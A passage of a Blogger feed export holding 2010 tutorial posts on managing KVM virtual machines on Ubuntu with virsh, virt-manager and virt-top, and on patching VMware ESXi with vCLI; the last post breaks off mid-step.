href="http://redes-privadas-virtuales.blogspot.com/2010/09/system-monitoring-with-top.html"&gt;top&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;javi@javi-kubuntu:~$ sudo aptitude install virt-top&lt;br /&gt;&lt;br /&gt;javi@javi-kubuntu:~$ virt-top --connect qemu:///system&lt;br /&gt;virt-top 18:01:14 - x86_64 2/2CPU 2000MHz 3961MB&lt;br /&gt;2 domains, 2 active, 2 running, 0 sleeping, 0 paused, 0 inactive D:0 O:0 X:0&lt;br /&gt;CPU: 1,0%  Mem: 1024 MB (1024 MB by guests)&lt;br /&gt;&lt;br /&gt; ID S RDRQ WRRQ RXBY TXBY %CPU %MEM    TIME   NAME                                                                                                                                                                                                                         &lt;br /&gt;  1 R    0    0   52    0  0,5 12,0   0:41.37 BackTrack4&lt;br /&gt;  2 R    0    0   52    0  0,5 12,0   0:30.69 UbuntuServer_10.10&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;We can also get certain information about a concrete virtual machine selecting the Performance console, in the Virtual Machine Manager.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://3.bp.blogspot.com/_EvoxXLEnC6E/TOpSG3ZfI7I/AAAAAAAAAh8/EoFMUlfO2iU/s1600/KVM%2Bvirtualization%2Bon%2BUbuntu%2B%2528II%2529.jpeg"&gt;&lt;img alt="" border="0" height="312" id="BLOGGER_PHOTO_ID_5542332569336357810" src="http://3.bp.blogspot.com/_EvoxXLEnC6E/TOpSG3ZfI7I/AAAAAAAAAh8/EoFMUlfO2iU/s400/KVM%2Bvirtualization%2Bon%2BUbuntu%2B%2528II%2529.jpeg" style="display: block; height: 312px; margin: 0px auto 10px; text-align: center; width: 400px;" width="400" /&gt;&amp;nbsp;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1494477346885932431-1466019052802527477?l=redes-privadas-virtuales.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://redes-privadas-virtuales.blogspot.com/feeds/1466019052802527477/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2010/11/kvm-virtualization-on-ubuntu-iii.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/1466019052802527477'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/1466019052802527477'/><link rel='alternate' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2010/11/kvm-virtualization-on-ubuntu-iii.html' title='KVM virtualization on Ubuntu (III)'/><author><name>Javier Andrés Alonso</name><uri>http://www.blogger.com/profile/15322743276117860784</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_EvoxXLEnC6E/TOpRuU38DwI/AAAAAAAAAhs/l9BDChEnX40/s72-c/KVM%2Bvirtualization%2Bon%2BUbuntu%2B%2528I%2529.jpeg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1494477346885932431.post-3146195092277218181</id><published>2010-11-13T12:28:00.004+01:00</published><updated>2011-11-01T22:07:52.015+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Virtualization'/><title type='text'>KVM virtualization on Ubuntu (II)</title><content type='html'>In the previous article about &lt;a href="http://redes-privadas-virtuales.blogspot.com/2010/11/kvm-virtualization-on-ubuntu-i.html"&gt;KVM virtualization on Ubuntu (I)&lt;/a&gt;, I exposed how to set up virtual machines with KVM. Now we will learn how to handle them, either through the command line or by means of the Virtual Machine Manager graphical tool.&lt;br /&gt;&lt;br /&gt;First of all, we must know where are located the most important files used by KVM (configuration, virtual images and log files). We can see that the characteristics of the virtual machines are stored into XML files.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;javi@javi-kubuntu:~$ ls -lh /etc/libvirt/qemu/&lt;br /&gt;total 12K&lt;br /&gt;-rw------- 1 root root 2,0K 2010-10-12 23:00 BackTrack4.xml&lt;br /&gt;drwxr-xr-x 3 root root 4,0K 2010-10-12 18:22 networks&lt;br /&gt;-rw------- 1 root root 2,0K 2010-11-06 16:08 UbuntuServer_10.10.xml&lt;br /&gt;&lt;br /&gt;javi@javi-kubuntu:~$ ls -lh /var/lib/libvirt/images/&lt;br /&gt;total 21G&lt;br /&gt;-rw------- 1 root root  12G 2010-10-12 23:02 BackTrack4.img&lt;br /&gt;-rw------- 1 root root 8,0G 2010-11-06 17:04 UbuntuServer_10.10.img&lt;br /&gt;&lt;br /&gt;javi@javi-kubuntu:~$ ls -lh /var/log/libvirt/qemu/&lt;br /&gt;total 12K&lt;br /&gt;-rw------- 1 root root    0 2010-10-13 21:38 BackTrack4.log&lt;br /&gt;-rw------- 1 root root 2,3K 2010-11-06 17:04 UbuntuServer_10.10.log&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;It is also important to know the basic information about the hardware (number and type of CPU, size of the physical memory, etc.) where we will create the virtual machines.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;javi@javi-kubuntu:~$ virsh nodeinfo&lt;br /&gt;Modelo del CPU:      x86_64&lt;br /&gt;CPU(s):              2&lt;br /&gt;Frecuencia de CPU:   2000 MHz&lt;br /&gt;Zócalo(s) de CPU:   1&lt;br /&gt;Núcleo(s) por ranura: 2&lt;br /&gt;Hilo(s) por núcleo: 1&lt;br /&gt;Celda(s) NUMA:       1&lt;br /&gt;Tamaño de memoria:  4056208 kB&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Remember that in KVM, virtual machines are also known as domains. In order to list the state (running, idle, paused, shutdown, shut off, crashed or dying) of all existing domains, we must run the following order:&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;javi@javi-kubuntu:~$ virsh list --all&lt;br /&gt;Id Nombre               Estado&lt;br /&gt;----------------------------------&lt;br /&gt;- BackTrack4           apagado&lt;br /&gt;- UbuntuServer_10.10   apagado&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;If we want to edit the features (processor, memory, boot options, disk, NICs, monitor, etc.) of a concrete domain or add new virtual hardware components (storage, network, graphics, serial, parallel, watchdog, etc.), we can use Virtual Machine Manager.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://4.bp.blogspot.com/_EvoxXLEnC6E/TN520WjqXNI/AAAAAAAAAhk/YrdVtfNmfsM/s1600/KVM%2Bvirtualization%2Bon%2BUbuntu%2B%2528I%2529.jpeg"&gt;&lt;img alt="" border="0" height="336" id="BLOGGER_PHOTO_ID_5538995233492720850" src="http://4.bp.blogspot.com/_EvoxXLEnC6E/TN520WjqXNI/AAAAAAAAAhk/YrdVtfNmfsM/s400/KVM%2Bvirtualization%2Bon%2BUbuntu%2B%2528I%2529.jpeg" style="display: block; height: 336px; margin: 0px auto 10px; text-align: center; width: 400px;" width="400" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Other way to modify the details of a virtual machine can be by means of the virsh command. This option is equivalent to output the domain information as an XML dump, edit that dump file, validate the XML file and define the domain from the XML file.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;javi@javi-kubuntu:~$ virsh edit BackTrack4&lt;br /&gt;&lt;br /&gt;javi@javi-kubuntu:~$ virsh dumpxml BackTrack4 &amp;gt; domain.xml&lt;br /&gt;javi@javi-kubuntu:~$ vi domain.xml&lt;br /&gt;javi@javi-kubuntu:~$ virt-xml-validate domain.xml&lt;br /&gt;javi@javi-kubuntu:~$ virsh define domain.xml&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Then we are going to present the necessary commands to start an inactive domain, suspend a running virtual machine in memory, move it out  of the suspended state (resume), reboot it and shut it down.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;javi@javi-kubuntu:~$ virsh start UbuntuServer_10.10&lt;br /&gt;&lt;br /&gt;javi@javi-kubuntu:~$ virsh suspend UbuntuServer_10.10&lt;br /&gt;&lt;br /&gt;javi@javi-kubuntu:~$ virsh resume UbuntuServer_10.10&lt;br /&gt;&lt;br /&gt;javi@javi-kubuntu:~$ virsh reboot UbuntuServer_10.10&lt;br /&gt;&lt;br /&gt;javi@javi-kubuntu:~$ virsh shutdown UbuntuServer_10.10&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Other interesting option for a specific domain is &lt;i&gt;dominfo&lt;/i&gt;, which returns basic information about the virtual machine.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;javi@javi-kubuntu:~$ virsh dominfo BackTrack4&lt;br /&gt;Id:             -&lt;br /&gt;Nombre:         BackTrack4&lt;br /&gt;UUID:           cc951529-f630-b8ea-1da8-9a75e382190d&lt;br /&gt;Tipo de sistema operatuvo: hvm&lt;br /&gt;Estado:         apagado&lt;br /&gt;CPU(s):         1&lt;br /&gt;Memoria máxima: 524288 kB&lt;br /&gt;Memoria utilizada: 524288 kB&lt;br /&gt;Persistente:    sí&lt;br /&gt;Autoinicio:     desactivar&lt;br /&gt;Modelo de seguridad: apparmor&lt;br /&gt;DOI de seguridad: 0&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;And finally, if we want the domain to be automatically started at boot, we must run the next order. If we want to disable this option, we must add the &lt;i&gt;--disable&lt;/i&gt; parameter.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;javi@javi-kubuntu:~$ virsh autostart BackTrack4&lt;br /&gt;&lt;br /&gt;javi@javi-kubuntu:~$ virsh autostart --disable BackTrack4&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1494477346885932431-3146195092277218181?l=redes-privadas-virtuales.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://redes-privadas-virtuales.blogspot.com/feeds/3146195092277218181/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2010/11/kvm-virtualization-on-ubuntu-ii.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/3146195092277218181'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/3146195092277218181'/><link rel='alternate' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2010/11/kvm-virtualization-on-ubuntu-ii.html' title='KVM virtualization on Ubuntu (II)'/><author><name>Javier Andrés Alonso</name><uri>http://www.blogger.com/profile/15322743276117860784</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_EvoxXLEnC6E/TN520WjqXNI/AAAAAAAAAhk/YrdVtfNmfsM/s72-c/KVM%2Bvirtualization%2Bon%2BUbuntu%2B%2528I%2529.jpeg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1494477346885932431.post-8972471925051232594</id><published>2010-11-06T10:34:00.011+01:00</published><updated>2011-11-01T22:08:38.807+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Virtualization'/><title type='text'>KVM virtualization on Ubuntu (I)</title><content type='html'>I do not like too much Oracle, I have to recognize it, particulary its business model. For that reason, I think that I have to try (whenever I can) to use other alternative products. The future of certain applications as OpenOffice, MySQL, VirtualBox is not clear...&lt;br /&gt;&lt;br /&gt;In this article we are going to relate how to set up virtual machines on Ubuntu with KVM. I think that KVM is the future of the virtualization in the open source world, especially because it is a technology developed by Red Hat and this company is betting very hard for it.&lt;br /&gt;&lt;br /&gt;First of all, we have to make sure whether our hardware supports virtualization (I am going to carry out the testing on Kubuntu 10.10 64 bits). For this purpose, we must check out if the vmx or svm flags appear into the cupinfo file.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;javi@javi-kubuntu:~$ cat /proc/cpuinfo | egrep "(vmx | svm)" | wc -l&lt;br /&gt;2&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;In my case, the result is two (my processor has got two cores). Then, we have to install the necessary packages:&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;javi@javi-kubuntu:~$ sudo aptitude install kvm libvirt-bin virt-manager&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Now, we can see a new virtual network interface (virbr0) and a new group (libvirtd) in the system. My user name has also been added to the libvirtd group.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;javi@javi-kubuntu:~$ ip a&lt;br /&gt;...&lt;br /&gt;19: virbr0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc noqueue state UNKNOWN&lt;br /&gt;link/ether 0e:af:bc:3a:c8:6a brd ff:ff:ff:ff:ff:ff&lt;br /&gt;inet 192.168.122.1/24 brd 192.168.122.255 scope global virbr0&lt;br /&gt;inet6 fe80::caf:bcff:fe3a:c86a/64 scope link&lt;br /&gt;valid_lft forever preferred_lft forever&lt;br /&gt;&lt;br /&gt;javi@javi-kubuntu:~$ cat /etc/group&lt;br /&gt;...&lt;br /&gt;libvirtd:x:124:javi&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;We have to restart the sesson for the user changes take effect. In order to verify that everything is right, we can type the following command:&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;javi@javi-kubuntu:~$ virsh -c qemu:///system list&lt;br /&gt;Id Nombre               Estado&lt;br /&gt;-------------------------------&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Now we can create our first virtual machine opening the Virtual Machine Manager (Applications, System, Virtual Machine Manager), picking out &lt;i&gt;localhost (QEMU) - Not Connected&lt;/i&gt; option and making double click on it (this is the hypervisor to which we connect - qemu:///system). Then we must press on &lt;i&gt;Create a new virtual machine&lt;/i&gt; button and complete the different steps of the wizard.&lt;br /&gt;&lt;br /&gt;Through the wizard, we will have to choose the features or resources for the virtual machine, such as the name, installation source (ISO, CD-ROM, network, PXE, importing the image, etc.), type and version of the operating system, amount of memory and CPUs, size of the virtual hard disk, etc.&lt;br /&gt;&lt;br /&gt;In the last step, we can see a little summary about the selected characteristics and besides, pick out the type of virtualization (kvm, qemu - we will choose kvm), the sort of architecture (x86_64 or i686 - depends on the operating system to be installed) and the kind of network (NAT by default). In future articles, I will explain how to configure different types of virtual networks.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://1.bp.blogspot.com/_EvoxXLEnC6E/TNUl6LTlZkI/AAAAAAAAAhM/nVwxlA-f8Ag/s1600/KVM+virtualization+on+Ubuntu+%28I%29.jpeg"&gt;&lt;img alt="" border="0" height="400" id="BLOGGER_PHOTO_ID_5536372998319466050" src="http://1.bp.blogspot.com/_EvoxXLEnC6E/TNUl6LTlZkI/AAAAAAAAAhM/nVwxlA-f8Ag/s400/KVM+virtualization+on+Ubuntu+%28I%29.jpeg" style="display: block; height: 400px; margin: 0px auto 10px; text-align: center; width: 335px;" width="335" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;During the virtual store step, we can select a tab about allocating all the disk size now... In my personal opinion, we must mark this option because the virtual machine performance will be better if all the disk space is reserved from the beginning.&lt;br /&gt;&lt;br /&gt;At the end of this process, we will have a screen with the new virtual machine embedded within it and we will be able to performe several operations on it: run, pause, shut down, clone, migrate, etc.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://3.bp.blogspot.com/_EvoxXLEnC6E/TNUmoEk3f8I/AAAAAAAAAhc/jq0-49YMYOI/s1600/KVM+virtualization+on+Ubuntu+%28II%29.jpeg"&gt;&lt;img alt="" border="0" height="312" id="BLOGGER_PHOTO_ID_5536373786786889666" src="http://3.bp.blogspot.com/_EvoxXLEnC6E/TNUmoEk3f8I/AAAAAAAAAhc/jq0-49YMYOI/s400/KVM+virtualization+on+Ubuntu+%28II%29.jpeg" style="display: block; height: 312px; margin: 0px auto 10px; text-align: center; width: 400px;" width="400" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1494477346885932431-8972471925051232594?l=redes-privadas-virtuales.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://redes-privadas-virtuales.blogspot.com/feeds/8972471925051232594/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2010/11/kvm-virtualization-on-ubuntu-i.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/8972471925051232594'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/8972471925051232594'/><link rel='alternate' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2010/11/kvm-virtualization-on-ubuntu-i.html' title='KVM virtualization on Ubuntu (I)'/><author><name>Javier Andrés Alonso</name><uri>http://www.blogger.com/profile/15322743276117860784</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_EvoxXLEnC6E/TNUl6LTlZkI/AAAAAAAAAhM/nVwxlA-f8Ag/s72-c/KVM+virtualization+on+Ubuntu+%28I%29.jpeg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1494477346885932431.post-2356816415746067196</id><published>2010-10-30T15:19:00.011+02:00</published><updated>2011-11-01T22:09:20.988+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Virtualization'/><title type='text'>Patching VMware vSphere (ESXi) with vCLI</title><content type='html'>I think that it is very important to have up to date our &lt;a href="http://redes-privadas-virtuales.blogspot.com/2009/12/vmware-esxi-y-vsphere.html"&gt;VMware vSphere (ESXi)&lt;/a&gt; systems, due to VMware periodically releases a series of patches which fixes bugs and security breaches on them.&lt;br /&gt;&lt;br /&gt;For this purpose, we can use either vSphere Host Update Utility (graphical tool included within VMware vSphere package) or vihostupdate command, belonging to the vCLI (vSphere Command-Line Interface) enviroment, which allows us to perform several tasks (managing virtual machines, files, storages, users, etc.) remotely on VMware vSphere.&lt;br /&gt;&lt;br /&gt;When I attempted to use vSphere Host Update Utility at work, I had problems because my PC is behind a proxy... In theory, you can set the &lt;span style="font-style: italic;"&gt;ProxyServer&lt;/span&gt; tag into the &lt;span style="font-style: italic;"&gt;settings.config&lt;/span&gt; file, but not working properly.&lt;br /&gt;&lt;br /&gt;Then we are going to see how to apply a patch on VMware vSphere with vCLI. The tests will be realized on a Windows XP system, but do not worry because the commands are the same for Linux systems.&lt;br /&gt;&lt;br /&gt;We must have installed the &lt;a href="http://www.vmware.com/support/developer/vcli/"&gt;vCLI&lt;/a&gt; utility on our PC. I recommend to install vSphere CLI 4.1 version, because in this way we will be able to manage VMware vSphere 4.0 or 4.1. If we try to use vCLI 4.0 Update 1 or previous with VMware vSphere 4.1, we will get the following error: "&lt;span style="font-style: italic;"&gt;This operation is NOT supported on 4.1.0 platform&lt;/span&gt;".&lt;br /&gt;&lt;br /&gt;In this example, I am going to apply the lastest patch available (ESXi400-201009001) on a VMware vSphere 4.0 (update02) with 192.168.1.100 IP address.&lt;br /&gt;&lt;br /&gt;First, we must open in a browser the web site with the patches available for VMware products: &lt;a href="http://www.vmware.com/patch/download/"&gt;Download Patches&lt;/a&gt;. We can use the search tool to find them. In our case, we pick out the ESXi (Embedded and Installable) 4.0.0 product.&lt;br /&gt;&lt;br /&gt;Then we access to a new screen with all patches released for our device, where we can see that they are ordered by date and version, and besides, we can take a look at their description, bulletins and classification.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://1.bp.blogspot.com/_EvoxXLEnC6E/TMwhkk4MA2I/AAAAAAAAAhE/e7BzeLA7gDw/s1600/Patches+released+for+VMware+vSphere.JPG"&gt;&lt;img alt="" border="0" height="328" id="BLOGGER_PHOTO_ID_5533834954389848930" src="http://1.bp.blogspot.com/_EvoxXLEnC6E/TMwhkk4MA2I/AAAAAAAAAhE/e7BzeLA7gDw/s400/Patches+released+for+VMware+vSphere.JPG" style="display: block; height: 328px; margin: 0px auto 10px; text-align: center; width: 400px;" width="400" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;In general, a patch includes one or more bulletins and it is important to know that the patches are cumulative, that is to say, a current patch contains all corrections of a previous release.&lt;br /&gt;&lt;br /&gt;Next step is to download the patch. I usually drop it off into the same directory where are the vCLI Perl scripts.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;C:\Archivos de programa\VMware\VMware vSphere CLI\bin&amp;gt;dir&lt;br /&gt;El volumen de la unidad C no tiene etiqueta.&lt;br /&gt;El número de serie del volumen es: A01F-3A26&lt;br /&gt;&lt;br /&gt;Directorio de C:\Archivos de programa\VMware\VMware vSphere CLI\bin&lt;br /&gt;&lt;br /&gt;28/10/2010  10:48    &amp;lt;DIR&amp;gt;          .&lt;br /&gt;28/10/2010  10:48    &amp;lt;DIR&amp;gt;          ..&lt;br /&gt;09/02/2010  15:59                49 .directory&lt;br /&gt;20/04/2009  20:54             7.638 esxcfg-advcfg.pl&lt;br /&gt;20/04/2009  20:54             8.214 esxcfg-cfgbackup.pl&lt;br /&gt;20/04/2009  20:54             7.892 esxcfg-dns.pl&lt;br /&gt;...&lt;br /&gt;20/09/2010  04:14       184.519.878 ESXi400-201009001.zip&lt;br /&gt;...&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;We must check out what bulletins included inside the patch can be applied to the VMware vSphere. In the present case, we figure out that there are two bulletins available.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;C:\Archivos de programa\VMware\VMware vSphere CLI\bin&amp;gt;vihostupdate.pl --server 192.168.1.100 --scan --bundle ESXi400-201009001.zip&lt;br /&gt;Enter username: root&lt;br /&gt;Enter password:&lt;br /&gt;The bulletins which apply to but are not yet installed on this ESX host are listed.&lt;br /&gt;&lt;br /&gt;---------Bulletin ID---------   ----------------Summary-----------------&lt;br /&gt;ESXi400-201009401-BG            Updates Firmware&lt;br /&gt;ESXi400-201009402-BG            Updates VMware Tools&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Now we are ready to run the order which will apply the updates. Before setting the patch, VMware vSphere must be put into maintenance mode. For that, we have to use the vSphere client and press the
